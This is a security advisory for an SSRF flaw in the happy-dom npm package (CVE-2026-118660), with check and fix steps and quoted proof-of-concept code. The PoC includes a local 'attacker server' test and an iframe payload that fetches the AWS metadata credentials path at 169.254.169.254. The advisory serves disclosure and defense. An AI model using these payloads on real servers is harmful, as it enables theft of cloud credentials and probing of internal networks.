---
id: "CVE-2026-118660"
kind: "vulnerability"
aliases: ["CVE-2026-118660", "GHSA-c8p4-j97h-3vg8"]
title: "Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML"
severity: "high"
cvss: 8.6
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "happy-dom", "fixed": ["21.0.0"], "affected": "<= 20.14.6", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cloud", "cwe-918", "node", "package", "server-side", "ssr", "web-scraping"]
not_affected_if: ["client-side-only", "no-untrusted-input", "trusted-html-only"]
published_at: "2026-10-28T21:06:42+00:00"
first_seen_at: "2026-10-28T21:07:44+00:00"
updated_at: "2026-10-28T21:09:27+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-c8p4-j97h-3vg8", "first_seen_at": "2026-10-28T21:07:44+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118660", "first_seen_at": "2026-10-28T21:35:45+00:00"}]
---

# Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

Happy DOM fetches the src of iframe elements and the href of link rel=stylesheet elements over real HTTP when it parses HTML, enabled by default. An attacker who controls HTML that a server parses can make the server request internal services or cloud metadata endpoints such as 169.254.169.254 and read the responses.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:happy-dom affected <= 20.14.6 fixed 21.0.0

## How to check

- Run `node -e "console.log(require('happy-dom/package.json').version)"` in each project to get the installed `happy-dom` version.
- Search application code for `new Window(` or `GlobalRegistrator` used on untrusted HTML, such as scraping, email rendering or SSR.
- Check whether `disableIframePageLoading` and `disableCSSFileLoading` are set to `true` in the Window options.

## Fix

- Upgrade `happy-dom` to `21.0.0` or later.
- If upgrading is not possible, set `disableIframePageLoading: true` and `disableCSSFileLoading: true` in the Window options.
- Block outbound requests from the parsing server to private ranges and cloud metadata addresses such as `169.254.169.254`.

## Timeline

- 2026-10-28T21:07:44+00:00 ghsa https://github.com/advisories/GHSA-c8p4-j97h-3vg8
- 2026-10-28T21:35:45+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-118660

## From the sources

## Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

## Affected Versions
- happy-dom <= 20.8.9 (latest)

## Vulnerable Behavior

By default, happy-dom has:
- `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests
- `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

## Proof of Concept

### Verified test (attacker server receives requests):
```javascript
const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF — happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF — happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
```

**Test output:**
```
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
```

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

### Cloud metadata attack scenario:
```javascript
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
```

## Impact
- **Cloud credential theft** — `<iframe src="http://169.254.169.254/...">` fetches AWS/GCP/Azure metadata
- **Internal network scanning** — probe internal services and ports
- **Data exfiltration** — read responses from internal APIs
- **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input

## Suggested Fix
Change defaults to disable external resource loading:
```javascript
disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false
```

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
